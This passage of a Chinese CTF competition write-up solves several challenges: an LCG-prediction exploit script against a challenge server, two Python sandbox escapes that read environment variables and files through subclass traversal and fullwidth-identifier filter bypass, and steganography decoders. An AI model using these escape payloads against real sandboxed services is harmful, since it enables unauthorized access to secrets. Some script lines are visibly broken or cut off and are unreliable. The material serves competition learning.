= P2 recovered = bytes( c1 ^ c2 ^ p for c1, c2, p in zip(user_ciphertext, admin_ciphertext, known_plaintext) ) print(recovered.decode()) # 提交恢复出的管理员广播 sock.sendall(b”3\n”) recv_until_prompt(sock) sock.sendall(recovered + b”\n”) print(recv_until_prompt(sock).decode())
FLAG:PKWCTF{8c060370-fe47-412e-b502-404687275224}
Lucky Machine
菜单中可以反复打印 guest ticket,也可以输入下一个 admin code:
Plain Text [1] Print a guest ticket [2] Guess next admin code [3] Walk away
题目提示:
Plain Text Hehe says the machine has been lucky since 1990. mio listens to the gears and counts the rhythm.
这暗示 ticket 是由一个有规律的伪随机数生成器产生的,而不是安全随机数。
选择 [1] 多次,得到类似下面的序列:
Plain Text 505170936 721557713 907702070 1357381175 935735204 515797261 1519798466 1681147603 1913168400 393089289
这些数字都小于 2^31,并且序列符合经典 ANSI C rand() 使用的线性同余生成器:
Plain Text x[n+1] = (a*x[n] + c) mod m
其中:
Plain Text m = 2^31 a = 1103515245 c = 12345
验证递推关系
以相邻差值为基础,可以计算:
Plain Text d[n] = x[n+1] – x[n] mod m
对于 LCG,有:
Plain Text d[n+1] = a*d[n] mod m
因为本题中 d[0] 与 2^31 互质,所以可以求逆得到:
Plain Text a = d[1] * inverse(d[0], m) mod m
计算得到:
Plain Text a = 1103515245 c = x[1] – a*x[0] mod m = 12345
将这组参数代回所有已知数据,均能得到下一个 ticket,说明模型正确。
Exp
收集 10 个 guest ticket,预测下一个值,然后提交给 [2]:
Python import re import socket import time HOST = “nc1.ctfplus.cn” PORT = 37210 MOD = 2 ** 31 A = 1103515245 C = 12345 with socket.create_connection((HOST, PORT)) as sock: sock.settimeout(3) sock.recv(8192) # banner and menu tickets = [] for _ in range(10): sock.sendall(b”1\n”) time.sleep(0.12) response = sock.recv(8192) ticket = int(re.search(rb”guest_ticket = (\d+)”, response).group(1)) tickets.append(ticket) # 预测下一次 LCG 输出 next_code = (A * tickets[-1] + C) % MOD print(“tickets:”, tickets) print(“predicted admin code:”, next_code) sock.sendall(b”2\n”) time.sleep(0.1) sock.recv(8192) # next_admin_code prompt sock.sendall(str(next_code).encode() + b”\n”) time.sleep(0.2) print(sock.recv(8192).decode(errors=”replace”))
flag:PKWCTF{37cb3630-5a34-4872-9293-9c6c3b5839e2}
misc
Explosion
Binwalk提取出来直接有一个flag1.txt
直接打开是flag前半段:PKWCTF{I_4m_th3,下面就是已知明文前缀,进行已知道明文攻击
拿到密钥解密即可
flag:PKWCTF{I_4m_th3_b0n3_0f_my_sw0rd}
pyjail-闭月
题目提示所有 builtins 已被移除,只允许输入表达式。
从空 builtins 到对象层级
虽然 print、open、import 等内置函数不可用,但 Python 对象本身仍然存在。空元组可以作为入口:
().class # tuple
().class.base # object
().class.base.subclasses()
object 的子类列表中包含已经导入的 os 模块相关类。通过类名筛选,可以找到 os._wrap_close: [x for x in ().class.base.subclasses() if x.name==’_wrap_close’] 利用函数 globals 读取环境变量 os._wrap_close 的 init 是 Python 函数。函数的 globals 属性指向定义它的 os 模块全局字典,其中包含 environ。最终 payload: [x for x in ().class.base.subclasses() if x.name==’_wrap_close’][0].init.globals[‘environ’][‘FLAG’] 返回结果: ‘PKWCTF{c215499e-2fb4-4025-80e8-f49eb5d43e7f}’
pyjail-惊鸿
题目要求输入一个 Python 表达式,且源码中不能出现 ASCII 字母。
过滤绕过
Python 会对标识符进行 Unicode 规范化。全角英文字母在解析时会被规范化为普通 ASCII 标识符,因此可以使用全角形式绕过源码中的 ASCII 字母正则检查。例如,全角的 print 会被 Python 解析为 print。
构造读取表达式
为了避免在字符串中直接出现 ASCII 字母,使用 chr 与 map 根据数字构造字符串:
”.join(map(chr,[111,115])) # 构造 os
”.join(map(chr,[70,76,65,71])) # 构造 FLAG
最终表达式如下:
print(open(”.join(map(chr,[102,108,97,103]))).read())
尝试读取当前目录下的 flag 文件后发现文件不存在。继续读取服务端目录中的 app.py,源码显示 flag 保存在环境变量 FLAG 中。因此改为利用全角标识符读取环境变量:
print(import(”.join(map(chr,[111,115]))).environ[”.join(map(chr,[70,76,65,71]))])
服务返回:
‘PKWCTF{5d9653d3-ee8e-4a92-8911-ae27aa4f96ef}’
静谧之眼
都说了静谧之眼那就直接用silenteye解把
导入进去点击解密就拿到flag压缩包了
然后打开开始flag
把flag开头换一下即可
flag:PKWCTF{The_si1ent_eye_se@s_thr0ugh_everything!}
黑白之间
识别棋盘 19×19 个交叉点,忽略没有棋子的空位,将黑子记为 0、白子记为 1,按从左到右、从上到下读取并每 8 位转为 ASCII,即可拿到 flag
exp:
Python from pathlib import Path from PIL import Image IMAGE = Path(r”C:\Users\19169\Desktop\黑白之间\1.png”) def classify(pixel): “””Classify a sampled intersection as black, white, or empty.””” r, g, b = pixel[:3] if r < 30 and g < 30 and b < 30: return "black" if r > 200 and g > 200 and b > 200: return “white” return “empty” def extract_flag(path): image = Image.open(path).convert(“RGB”) width, height = image.size # The supplied board spans approximately (60, 60) to (940, 940). # Using interpolation keeps this usable if the image is resized slightly. left, top = width * 0.06, height * 0.06 right, bottom = width * 0.94, height * 0.94 xs = [round(left + (right – left) * i / 18) for i in range(19)] ys = [round(top + (bottom – top) * i / 18) for i in range(19)] stones = [] for y in ys: for x in xs: stone = classify(image.getpixel((x, y))) if stone != “empty”: stones.append(stone) # Black is 0, white is 1. The empty intersections are separators/fillers. bits = “”.join(“0” if stone == “black” else “1” for stone in stones) if len(bits) % 8: raise ValueError(f”Extracted {len(bits)} bits, not byte-aligned”) data = bytes(int(bits[i:i + 8], 2) for i in range(0, len(bits), 8)) return data.decode(“ascii”) if __name__ == “__main__”: flag = extract_flag(IMAGE) print(flag)
flag:PKWCTF{b1ack_is_0_whit3_1S_1}
正在发动鬼脑
题目分析
拿到题目附件后,首先查看压缩包内容。
外层压缩包中包含内层 ZIP 文件以及相关数据文件。继续解压内层 ZIP,可以发现题目的核心数据文件 data.txt。
直接打开 data.txt,表面上看起来主要是一些普通字符,但其中夹杂了大量不可见的零宽字符。
使用 Python 对文件进行分析:
Python from collections import Counter data = open(“data.txt”, “r”, encoding=”utf-8″).read() zw = [c for c in data if c in “\u200b\u200c\u200d\u2060”] print(len(zw)) print(Counter(zw))
可以发现存在四种零宽字符:
Plain Text U+200B U+200C U+200D U+2060
总数量为:
Plain Text 4300
这说明这些零宽字符很可能被用于进行四进制/2 bit 编码。
提取零宽字符
将四种零宽字符分别映射成 2 bit:
Plain Text U+200B -> 00 U+200C -> 01 U+200D -> 10 U+2060 -> 11
然后每 4 个零宽字符组成一个字节。
脚本:
Python mapping = { “\u200b”: “00”, “\u200c”: “01”, “\u200d”: “10”, “\u2060”: “11”, } bits = “”.join(mapping[c] for c in zw) data_bytes = bytes( int(bits[i:i+8], 2) for i in range(0, len(bits), 8) ) print(data_bytes[:30])
得到的数据开头为:
Plain Text ZW1\x00\x00\x04(x\xdaeUko…
其中:
Plain Text ZW1
可以看作题目自定义的数据头,而后面出现:
Plain Text 78 DA
这是典型的 zlib 压缩数据特征。
因此尝试从对应位置开始进行 zlib 解压
zlib 解压
Python import zlib compressed = data_bytes[7:] result = zlib.decompress(compressed) print(result.decode())
成功得到一段 JSON 配置
其中最重要的内容如下:
JSON { “version”: 4, “direction”: “forward encoder; invert to recover pixels”, “tile”: [8, 8], “pixel_bits”: { “black”: 1, “white”: 0 }, “tile_permutation”: { “a”: 5, “b”: 173, “source_index”: “t=(a*k+b)%tile_count” }, “local_scan”: { “name”: “diagonal-zigzag”, “rule”: “s=x+y; x ascending for even s, descending for odd s”, “reverse_if”: “t%2==1” }, “rotation”: { “a”: 7, “b”: 3, “rule”: “r=(a*t+b)%4” } }
此外还有一个非常关键的 transport 和 character_mapping 配置
分析字符映射
配置中指出:
Plain Text alphabet: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
共有62个字符。
同时规定:
Plain Text key_source = ZIP global archive comment key_format = Exactly 8 ASCII hex digits
也就是说,真正的密钥并不在 data.txt 中,而是在 ZIP 文件的全局注释(ZIP Comment) 中。
使用 Python 查看:
Python from zipfile import ZipFile with ZipFile(“inner.zip”, “r”) as z: print(z.comment)
得到:
Plain Text 53d26425
因此:
Plain Text K = bytes.fromhex(“53d26425”)
恢复每个字符对应的黑白像素
题目规定,对每一个分组 g:
Plain Text SHA256(K || uint32_be(g) || ascii(c))
对 62 个字符进行排序。
然后:
Plain Text 排序后的前 31 个字符 -> 黑色 -> 1 剩余 31 个字符 -> 白色 -> 0
对应代码:
Python import hashlib import struct alphabet = “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” def get_mapping(g): arr = [] for c in alphabet: raw = ( K + struct.pack(“>I”, g) + c.encode() ) score = hashlib.sha256(raw).digest() arr.append((score, ord(c), c)) arr.sort() mapping = {} for i, (_, _, c) in enumerate(arr): mapping[c] = 1 if i < 31 else 0 return mapping
处理 9 字符一组的数据
配置中的:
Plain Text group_pixels = 8 check = xor
说明每 9 个可见字符中:
Plain Text 8 bit = 实际像素 1 bit = XOR 校验
题目还规定校验位的位置:
Plain Text p = s % 9
初始状态:
Plain Text s = 93
状态更新:
Plain Text s = (33*s + v + g) % 256
因此依次处理所有字符。
Python state = 93 pixels = [] groups = [ visible[i:i+9] for i in range(0, len(visible), 9) ] for g, group in enumerate(groups): mp = get_mapping(g) bits = [mp[c] for c in group] p = state % 9 check = bits
data_bits = bits[:p] + bits[p+1:] xor_value = 0 for b in data_bits: xor_value ^= b assert xor_value == check v = 0 for b in data_bits: v = (v << 1) | b pixels.extend(data_bits) state = (33 * state + v + g) % 256
题目中明确说明:
Plain Text CR/LF
以及四种零宽字符都需要忽略。
因此先得到可见字符:
Python visible = “”.join( c for c in data if c not in “\r\n\u200b\u200c\u200d\u2060” )
得到243648个字符。
由于每 9 个字符为一组:
Plain Text 243648 / 9 = 27072
因此最终得到:
Plain Text 27072 × 8 = 216576
个真实像素 bit。
计算 Tile 数量
题目规定每个 Tile 为:
Plain Text 8 × 8
所以一个 Tile 有:
Plain Text 64
个像素。
因此:
Plain Text 216576 / 64 = 3384
也就是说,一共有:
Plain Text 3384 个 Tile
恢复 Tile 排列
题目给出了:
Plain Text t = (5*k + 173) % tile_count
其中:
Plain Text tile_count = 3384
这里的 k 是编码后的 Tile 编号,t 是源 Tile 编号。
因此恢复时,将第 k 个 Tile 放回:
Python t = (5 * k + 173) % 3384
对应的位置
恢复 Tile 内部的扫描顺序
题目使用:
Plain Text diagonal-zigzag
扫描方式。
定义:
Plain Text s = x + y
当:
Plain Text s 为偶数
时:
Plain Text x 从小到大
当:
Plain Text s 为奇数
时:
Plain Text x 从大到小
另外:
Plain Text t % 2 == 1
时需要进行反转。
因此需要按照题目定义重新生成 8×8 Tile 的扫描坐标,然后反向恢复原始像素位置。
恢复 Tile 旋转
题目给出的旋转规则:
Plain Text r = (7*t + 3) % 4
四种坐标映射分别为:
Plain Text 0: (x,y) 1: (y,n-1-x) 2: (n-1-x,n-1-y) 3: (n-1-y,x)
其中:
Plain Text n = 8
根据 t 计算每个 Tile 的旋转状态,然后执行逆旋转即可恢复原始 Tile。
确定最终图片尺寸
总共有:
Plain Text 3384
个 8×8 Tile。
将 3384 进行因数分解,可以得到合理的 Tile 网格:
Plain Text 94 × 36
因此最终图片尺寸为:
Plain Text 94 × 8 = 752 36 × 8 = 288
即:
Plain Text 752 × 288
将恢复后的像素按照:
Plain Text black = 1 white = 0
生成图片。
完整恢复脚本核心
核心恢复逻辑可以整理为:
Python from zipfile import ZipFile import hashlib import struct import zlib # ZIP comment with ZipFile(“inner.zip”) as z: comment = z.comment.decode() K = bytes.fromhex(comment) alphabet = “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” def get_mapping(g): arr = [] for c in alphabet: raw = K + struct.pack(“>I”, g) + c.encode() score = hashlib.sha256(raw).digest() arr.append((score, ord(c), c)) arr.sort() return { item[2]: 1 if i < 31 else 0 for i, item in enumerate(arr) } # 读取 data.txt data = open(“data.txt”, encoding=”utf-8″).read() visible = “”.join( c for c in data if c not in “\r\n\u200b\u200c\u200d\u2060” ) state = 93 pixels = [] for g in range(len(visible) // 9): group = visible[g*9:g*9+9] mp = get_mapping(g) bits = [mp[c] for c in group] p = state % 9 check = bits
data_bits = bits[:p] + bits[p+1:] assert check == (sum(data_bits) % 2) v = 0 for b in data_bits: v = (v << 1) | b pixels.extend(data_bits) state = (33 * state + v + g) % 256
之后按照题目给出的:
Plain Text tile_permutation local_scan rotation
逆向还原即可得到最终图片。
Exp:
Python import sys import io import zipfile import zlib import hashlib import struct import math from PIL import Image # ============================================================ # 配置 # ============================================================ EXPECTED_SHA256 = ( “de46c7564c271c524cf4ff6df51309e49711b23fbb78cde7a11f3e1a879940e9” ) ALPHABET = “0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” ZERO_WIDTH = { “\u200b”: “00”, # ZERO WIDTH SPACE “\u200c”: “01”, # ZERO WIDTH NON-JOINER “\u200d”: “10”, # ZERO WIDTH JOINER “\u2060”: “11”, # WORD JOINER } # ============================================================ # 1. 找到 data.txt 和 ZIP Comment # ============================================================ def load_challenge(path): print(“[+] 打开:”, path) with zipfile.ZipFile(path, “r”) as outer: names = outer.namelist() # 情况1:data.txt就在当前ZIP data_name = next( (n for n in names if n.lower().endswith(“data.txt”)), None ) if data_name: print(“[+] 找到 data.txt:”, data_name) data = outer.read(data_name) comment = outer.comment return data, comment # 情况2:寻找内层ZIP inner_name = next( (n for n in names if n.lower().endswith(“.zip”)), None ) if not inner_name: raise RuntimeError(“[-] 没有找到 data.txt 或内层 ZIP”) print(“[+] 找到内层 ZIP:”, inner_name) inner_data = outer.read(inner_name) with zipfile.ZipFile(io.BytesIO(inner_data), “r”) as inner: data_name = next( (n for n in inner.namelist() if n.lower().endswith(“data.txt”)), None ) if not data_name: raise RuntimeError(“[-] 内层 ZIP 中没有找到 data.txt”) data = inner.read(data_name) comment = inner.comment return data, comment # ============================================================ # 2. 解析零宽字符 # ============================================================ def decode_zero_width(data): text = data.decode(“utf-8”) zero_width = [ c for c in text if c in ZERO_WIDTH ] print(“[+] 零宽字符数量:”, len(zero_width)) # 四种字符,每个代表2bit bits = “”.join( ZERO_WIDTH[c] for c in zero_width ) if len(bits) % 8 != 0: raise RuntimeError(“[-] 零宽字符转换后的 bit 数不是8的倍数”) result = bytes( int(bits[i:i + 8], 2) for i in range(0, len(bits), 8) ) print(“[+] 解码后的数据头:”, repr(result[:20])) return result # ============================================================ # 3. zlib 解压规则 # ============================================================ def extract_rules(raw): # 题目头: # ZW1 + 4字节 + zlib # # 正常情况下 zlib 从 offset 7 开始 zlib_data = raw[7:] try: result = zlib.decompress(zlib_data) except Exception: # 保险:自动寻找常见 zlib 头 pos = raw.find(b”\x78\xda”) if pos == -1: raise RuntimeError(“[-] 找不到 zlib 数据”) result = zlib.decompress(raw[pos:]) print(“[+] zlib 解压成功”) print(“[+] 规则长度:”, len(result)) return result.decode(“utf-8”) # ============================================================ # 4. 根据 ZIP Comment 生成字符映射 # ============================================================ def build_mapping(key, g): arr = [] for c in ALPHABET: raw = ( key + struct.pack(“>I”, g) + c.encode(“ascii”) ) score = hashlib.sha256(raw).digest() arr.append( ( score, ord(c), c ) ) # SHA256排序 # ASCII作为tie-break arr.sort() mapping = {} for i, item in enumerate(arr): c = item[2] if i < 31: mapping[c] = 1 else: mapping[c] = 0 return mapping # ============================================================ # 5. 从 data.txt 恢复 216576 个像素bit # ============================================================ def recover_transport(data, key): text = data.decode(“utf-8”) # 忽略: # CR # LF # 四种零宽字符 visible = “”.join( c for c in text if c not in ( “\r”, “\n”, “\u200b”, “\u200c”, “\u200d”, “\u2060”, ) ) print(“[+] 可见字符数量:”, len(visible)) if len(visible) % 9 != 0: raise RuntimeError( “[-] 可见字符数量不是9的倍数” ) group_count = len(visible) // 9 print(“[+] 分组数量:”, group_count) state = 93 pixels = [] for g in range(group_count): group = visible[ g * 9: g * 9 + 9 ] mapping = build_mapping(key, g) bits = [ mapping[c] for c in group ] # 校验位位置 p = state % 9 check = bits
删除校验位 data_bits = ( bits[:p] + bits[p + 1:] ) # XOR校验 xor_value = 0 for b in data_bits: xor_value ^= b if xor_value != check: raise RuntimeError( f”[-] XOR校验失败: group={g}, ” f”state={state}, p={p}” ) # 8bit MSB first v = 0 for b in data_bits: v = (v << 1) | b pixels.extend(data_bits) # 状态更新 state = ( 33 * state + v + g ) % 256 if g % 5000 == 0: print( f"[+] transport: " f"{g}/{group_count}" ) print("[+] transport恢复完成") print("[+] 像素bit数量:", len(pixels)) return pixels # ============================================================ # 6. 生成8×8 Diagonal ZigZag坐标 # ============================================================ def make_zigzag_coords(n=8): coords = [] for s in range(2 * n - 1): x_start = max( 0, s - (n - 1) ) x_end = min( n - 1, s ) xs = list( range( x_start, x_end + 1 ) ) # 偶数:x升序 # 奇数:x降序 if s % 2 == 1: xs.reverse() for x in xs: y = s - x coords.append( (x, y) ) return coords # ============================================================ # 7. 逆向 Tile / ZigZag / Rotation # ============================================================ def recover_image(pixels): TILE_SIZE = 8 TILE_PIXELS = 64 tile_count = ( len(pixels) // TILE_PIXELS ) print("[+] Tile数量:", tile_count) if tile_count != 3384: raise RuntimeError( f"[-] Tile数量异常: {tile_count}" ) # 3384 = 94 × 36 tile_w = 94 tile_h = 36 if tile_w * tile_h != tile_count: raise RuntimeError( "[-] Tile尺寸计算错误" ) print( f"[+] Tile布局: " f"{tile_w} × {tile_h}" ) coords = make_zigzag_coords( TILE_SIZE ) # 原始Tile original_tiles = [ None for _ in range(tile_count) ] # ======================================================== # 对每个编码Tile进行逆向 # ======================================================== for k in range(tile_count): # forward: # # t = (5*k + 173) % tile_count # # k = encoded tile # t = source/original tile t = ( 5 * k + 173 ) % tile_count tile_bits = pixels[ k * TILE_PIXELS: (k + 1) * TILE_PIXELS ] # rotation r = ( 7 * t + 3 ) % 4 # ---------------------------------------------------- # forward中: # # t%2==1时 # diagonal zigzag结果会reverse # # 所以恢复时先reverse回来 # ---------------------------------------------------- if t % 2 == 1: scan_values = tile_bits[::-1] else: scan_values = tile_bits tile = [ 0 for _ in range(TILE_PIXELS) ] # ---------------------------------------------------- # rotation inverse # # 题目定义: # # 0: (x,y) # 1: (y,n-1-x) # 2: (n-1-x,n-1-y) # 3: (n-1-y,x) # # 这里按照题目定义, # scan坐标映射回source tile # ---------------------------------------------------- for value, (x, y) in zip( scan_values, coords ): if r == 0: sx = x sy = y elif r == 1: sx = y sy = TILE_SIZE - 1 - x elif r == 2: sx = ( TILE_SIZE - 1 - x ) sy = ( TILE_SIZE - 1 - y ) else: sx = ( TILE_SIZE - 1 - y ) sy = x tile[ sy * TILE_SIZE + sx ] = value original_tiles[t] = tile # ======================================================== # Tile重新拼成整张图 # ======================================================== width = tile_w * TILE_SIZE height = tile_h * TILE_SIZE pixels_out = [] for tile_y in range(tile_h): for y in range(TILE_SIZE): for tile_x in range(tile_w): tile_index = ( tile_y * tile_w + tile_x ) tile = original_tiles[ tile_index ]  %
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论